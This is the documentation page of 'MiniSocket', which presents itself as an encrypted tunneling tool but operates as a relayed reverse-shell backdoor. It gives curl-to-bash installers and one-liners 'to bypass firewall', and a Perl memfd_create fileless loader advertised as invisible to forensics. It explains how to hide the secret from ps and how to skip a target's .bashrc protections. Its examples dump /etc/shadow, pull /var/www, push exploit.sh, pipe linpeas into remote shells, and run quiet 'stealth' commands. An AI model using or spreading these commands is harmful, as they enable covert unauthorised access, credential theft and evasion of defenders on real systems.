MiniSocket

MiniSocket

v0.3

What's New

Major release with end-to-end encryption, real PTY support, and 11 architecture builds.

E2E Encryption

X25519 ECDH key exchange + AES-256-GCM. Unique session keys. The relay never sees plaintext.

Real PTY

Full interactive terminal with tab completion, vim, top, resize support. Not just a dumb pipe.

11 Architectures

x86_64, ARM64, ARMv7, x86, MIPS, MIPS64, MIPS64LE, MIPSLE, PPC64LE, RISC-V 64, s390x.

NAT Traversal

Both sides connect outbound to relay on port 443. No port forwarding needed.

Process Stealth

Secret is scrubbed from /proc/PID/cmdline after startup. Invisible to ps.

Zero Dependencies

Statically linked binaries. No libc, no libraries. Just chmod +x and run on any Linux kernel.

Getting Started

MiniSocket is a lightweight, secure socket communication tool designed for encrypted data transfer with built-in protocol obfuscation. It's perfect for secure remote access, tunneling, and bypassing network restrictions.

Core Concepts

  • Secret Key: Shared secret for authentication (like a password but more secure)
  • Server: The endpoint that listens for incoming connections (mini-socket)
  • Client: The tool that connects to the server (mini-nc)
  • Port Forwarding: Redirect traffic from one network port to another
  • Obfuscation: Make traffic look like normal web traffic
Basic Workflow
# On your server (listening for connections)
server@minisocket:~$ mini-socket -s mysecret
# On your client machine (connecting to server)
client@minisocket:~$ mini-nc -s mysecret

Installation

MiniSocket is available for Linux and macOS. Installation is simple with our one-line installer.

Linux & macOS (Quick Install)

Installation
$ bash -c "$(curl -fsSL https://minisocket.io/bin/xx)"
// or with Port
$ MINI_PORT=443 bash -c "$(curl -fsSL https://minisocket.io/bin/xx)"
// or one liner to bypass firewall
$ curl -fsSLk -oms https://github.com/minisocket/minisocket/releases/download/v0.3/mini-socket_linux-x86_64 && chmod 755 ms && S=$(./ms -g) && MINI_ARGS="-s $S -d" ./ms && echo "Connect with: mini-nc -s $S" && rm -rf ms
This will install both mini-socket (server) and mini-nc (client)

Manual Installation

If you prefer manual installation, download the binaries directly:

Server
$ wget -O /usr/bin/mini-socket https://minisocket.io/bin/mini-socket
$ chmod +x /usr/bin/mini-socket
Client
$ wget -O /usr/bin/mini-nc https://minisocket.io/bin/mini-nc
$ chmod +x /usr/bin/mini-nc

Mini-Upload v3.0.0-PRO

Secure Peer-to-Peer Relay Transfer Protocol

● System Ready Encrypted P2P

A professional-grade utility for atomic file transfers. By utilizing End-to-End Encryption (E2EE) and MiniSocket's relay nodes, it eliminates the need for port forwarding or complex VPN setups.

Manual_Output.sh
FATAL: Secret key is required to initiate handshake
Mini-Upload v3.0.0-PRO - Secure End-to-End P2P Transfer
Command Usage
mini-upload [OPTIONS] [FILE/FOLDER]
Core
-g, --generateNew secret
-l, --listenReceiver mode
-s, --secretAuth key
Network
-H, --hostRelay IP
-p, --portRelay Port
Advanced
-o, --outputTarget path
-c, --compGZIP Level
-v, --verboseDebug log
Phase 01: Host Listener
$ mini-upload -lvs mysecret
[*] Waiting for uploader...
[DEBUG] Connecting to relay...
[+] Handshake success
[+] Uploader connected. Starting decryption...
[DEBUG] mkdir -p "." && tar -xzf - -C "."
[*] Received: 1.95 MB
SUCCESS: Data Integrity Verified
Phase 02: Push Payload
$ mini-upload -vs mysecret myfolder_or_files
[*] Searching listener...
[DEBUG] Connecting to relay...
[+] Handshake success
[+] Listener Found. Encrypting...
[DEBUG] GZIP=-6 tar -czf - "myfolder_or_files"
[*] Sent: 1.95 MB
UPLOAD COMPLETE
Quick Deploy
curl -fsSL https://minisocket.io/bin/mini-upload -o /usr/bin/mini-upload && chmod +x /usr/bin/mini-upload

Server Usage

The mini-socket binary runs the server that listens for incoming connections.

Basic Commands

Server Options
Usage: mini-socket [OPTIONS]
-s, --secret <secret> # Set custom secret (required)
-k, --keyfile <path> # Load secret from file
-g, --generate # Generate random secret
-p, --port <port> # Listening port (default: 9000)
-d, -d # Run as daemon
-v, --verbose # Verbose output
-h, --help # Show help

Common Examples mini-socket

Basic Server
$ mini-socket -s mysecret
Custom Port
$ mini-socket -s mysecret -p 443
Daemon Mode
$ mini-socket -s mysecret -d
Running in background with PID 12345
Key File
$ echo "mysecret" > /etc/minisocket.key
$ mini-socket -k /etc/minisocket.key

Common Examples mini-nc

Basic Server
$ mini-nc -s mysecret
Custom Port
$ mini-nc -s mysecret -p 443

Environment Variables

You can configure the server using environment variables:

Variable Description Default
MINI_PORT Listening port 9000
MINI_ARGS Additional command line arguments None

Client Usage

The mini-nc binary connects to a MiniSocket server.

MiniSocket Usage Demo

Basic Commands

Client Options
Usage: mini-nc [OPTIONS]
-s, --secret <secret> # Server secret (required)
-i, --ip <address> # Server IP (default: auto-detect)
-p, --port <port> # Server port (default: 9000)
-h, --help # Show help

Common Examples

Basic Connection
$ mini-nc -s mysecret
[*] Connecting...
[+] Connected. Please enter to use
root@myserver:/#
Port examples
$ mini-nc -h
MINSOCKET USER CLIENT

Usage: mini-nc [OPTIONS]
Options:
-s Use custom secret and connect to the server
-p Specify server port (default: 9000)
-h Show this help message

If no secret is provided via -s, you will be prompted to enter one.

Configuration

MiniSocket can be configured through command line arguments, environment variables, or configuration files.

Systemd Service

For Linux servers, create a systemd service file at /etc/systemd/system/minisocket.service:

minisocket.service
[Unit]
Description=MiniSocket Secure Tunnel
After=network.target

[Service]
Type=simple
User=minisocket
ExecStart=/usr/bin/mini-socket -k /etc/minisocket.key -d
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

Then enable and start the service:

Enable Service
# systemctl daemon-reload
# systemctl enable --now minisocket

Tips & Trick

Tips & Trick
# Normal Installation and connect
server@minisocket:~$ bash -c "$(curl -fsSL https://minisocket.io/bin/xx)"
client@minisocket:~$ mini-nc -s mysecret
# Bypass and connect
server@minisocket:~$ MINI_PORT=443 bash -c "$(curl -fsSL https://minisocket.io/bin/xx)"
client@minisocket:~$ mini-nc -s mysecret -p 443

# Bypass and connect Oneliner Techniques
server@minisocket:~$ curl -fsSLk -o ms https://minisocket.io/bin/mini-socket && chmod 755 ms && S=$(./ms -g) && MINI_PORT=443 MINI_ARGS="-s $S -d" ./ms && echo "Connect with: mini-nc -s $S"
client@minisocket:~$ mini-nc -s mysecret -p 443

# Fileless Execution (Linux-only) — Binary runs directly from memory via memfd_create
# Auto-generate random secret + Port 443 — No file written to disk, invisible to forensics
server@minisocket:~$ S=$(head -c 32 /dev/urandom|base64|tr -d '/+='|head -c 16); curl -fsSLk https://minisocket.io/bin/mini-socket|MINI_PORT=443 MINI_ARGS="-s $S -d" perl -e'$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@"; echo "Secret: $S"
Secret: xK9mPqW2nR5tY8uZ
client@minisocket:~$ mini-nc -s xK9mPqW2nR5tY8uZ -p 443

# Manual secret (if you prefer)
server@minisocket:~$ curl -fsSLk https://minisocket.io/bin/mini-socket|MINI_PORT=443 MINI_ARGS="-s YOUR_SECRET_HERE -d" perl -e'$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@"

# ═══════════════════════════════════════════════════════════
# mini-nc COMPLETE OPTIONS REFERENCE (Linux/macOS)
# ═══════════════════════════════════════════════════════════

# ─── AUTHENTICATION ───────────────────────────────────────

# -s SECRET : Specify secret key directly
$ mini-nc -s MySecretKey123

# -k FILE : Read secret from file (more secure, not visible in ps)
$ echo "MySecretKey123" > /tmp/.secret && mini-nc -k /tmp/.secret

# ─── NETWORK ──────────────────────────────────────────────

# -p PORT : Specify relay port (default: 443)
$ mini-nc -s SECRET -p 443 # Port 443 (currently supported)

# ─── EXECUTION MODES ──────────────────────────────────────

# (no flags) : Interactive shell (default)
$ mini-nc -s SECRET # Full PTY shell with tab completion

# -e CMD : Execute command and exit immediately
$ mini-nc -s SECRET -e "id" # Run single command
$ mini-nc -s SECRET -e "id; whoami; cat /etc/passwd"
$ mini-nc -s SECRET -e "tar czf - /var/www" > backup.tar.gz

# -t : Test mode — check if server is online (no shell)
$ mini-nc -s SECRET -t # Returns 0 if online, 1 if offline
$ mini-nc -s SECRET -t && echo "Server is UP"

# Pipe mode — stdin goes to remote shell (just pipe, no flag)
$ echo "ls -la /root" | mini-nc -s SECRET
$ cat commands.txt | mini-nc -s SECRET

# ─── SHELL CONTROL (BYPASS .bashrc/.profile PROTECTION) ──

# -i [sh|bash] : Force interactive mode with specific shell
$ mini-nc -s SECRET -i # Force interactive (auto-detect shell)
$ mini-nc -s SECRET -i sh # Force interactive with /bin/sh
$ mini-nc -s SECRET -i bash # Force interactive with /bin/bash

# -S sh|bash : Force shell preference (which shell to spawn)
$ mini-nc -s SECRET -S sh # Use /bin/sh instead of bash
$ mini-nc -s SECRET -S bash # Force /bin/bash

# -n : No profile — skip BOTH .bashrc AND .profile (full bypass)
$ mini-nc -s SECRET -n # Bypass all startup scripts

# -R : No RC — skip .bashrc only
$ mini-nc -s SECRET -R # Skip .bashrc (but load .profile)

# -P : No profile — skip .profile/.bash_profile only
$ mini-nc -s SECRET -P # Skip .profile (but load .bashrc)

# BYPASS EXAMPLES: When target has protection in .bashrc
$ mini-nc -s SECRET -n -S sh # Full bypass: no rc, use sh
$ mini-nc -s SECRET -R -S sh # Skip .bashrc trap, use clean sh
$ mini-nc -s SECRET -n -i sh # Force interactive sh without rc

# ─── CONNECTION BEHAVIOR ──────────────────────────────────

# -w SECS : Idle timeout in seconds (default: 3)
$ mini-nc -s SECRET -w 10 # Wait 10 seconds before timeout
$ mini-nc -s SECRET -w 0 # No timeout (wait forever)

# -C : No reconnect — exit on disconnect (don't auto-reconnect)
$ mini-nc -s SECRET -C # Single connection, exit on drop

# -q : Quiet mode — suppress banner and status messages
$ mini-nc -s SECRET -q # Silent output (for scripting)
$ mini-nc -s SECRET -q -e "cat /etc/shadow" 2>/dev/null

# ─── ENVIRONMENT VARIABLES ────────────────────────────────

# MINI_PORT : Override relay port (default: 443)
$ MINI_PORT=443 mini-nc -s SECRET

# ─── PRACTICAL EXAMPLES ───────────────────────────────────

# Upload file to remote
$ cat exploit.sh | mini-nc -s SECRET -e "cat > /tmp/x.sh && chmod +x /tmp/x.sh"

# Download file from remote
$ mini-nc -s SECRET -e "cat /etc/shadow" > shadow.txt
$ mini-nc -s SECRET -e "tar czf - /var/www" > www.tar.gz

# Execute local script on remote (pipe to bash)
$ cat linpeas.sh | mini-nc -s SECRET -e "bash"

# Stealth: quiet mode + bypass rc + use sh + single shot
$ mini-nc -s SECRET -q -n -S sh -C -e "id" 2>/dev/null

# Check multiple servers quickly
$ for s in SECRET1 SECRET2 SECRET3; do mini-nc -s $s -t && echo "$s: UP"; done

Security Features

MiniSocket implements multiple layers of security to protect your communications.

Encryption

  • X25519 ECDH Key Exchange: Each session derives a unique shared key via Elliptic Curve Diffie-Hellman
  • AES-256-GCM: Authenticated encryption on all payload data with integrity verification
  • PBKDF2-SHA256: Secret hashed with 100k iterations — relay only sees the hash, never the secret
  • Process Hiding: Secret overwritten in argv memory after startup — invisible to ps and /proc
  • Zero-Trust Relay: End-to-end encryption means the relay cannot read session data

Obfuscation Techniques

Protocol Mimicry

Traffic appears as normal HTTPS or WebSocket traffic to deep packet inspection systems.

Random Padding

All packets include random padding to prevent size-based analysis.

Traffic Shaping

Packet timing is randomized to prevent timing analysis attacks.

Port Hopping

Option to automatically switch ports periodically to evade blocking.

Best Practices

  • Use long, random secrets (minimum 32 characters)
  • Store secrets in files with restricted permissions (600)
  • Run the server as a non-root user when possible
  • Use port 443 (HTTPS) or 80 (HTTP) for best obfuscation
  • Regularly rotate your secrets
  • Monitor connection logs for unusual activity

Troubleshooting

Common Issues

Connection Timeout

Possible causes: Firewall blocking, wrong IP/port, server not running

Solution: Verify server is running, check firewall rules, try different ports (443, 80, 53)

Authentication Failed

Possible causes: Secret mismatch, key file permissions, encoding issues

Solution: Verify secret on both ends, check key file permissions (should be 600), ensure no extra whitespace

High Latency

Possible causes: Network congestion, server load, encryption overhead

Solution: Try different ports, reduce MTU size, check network routes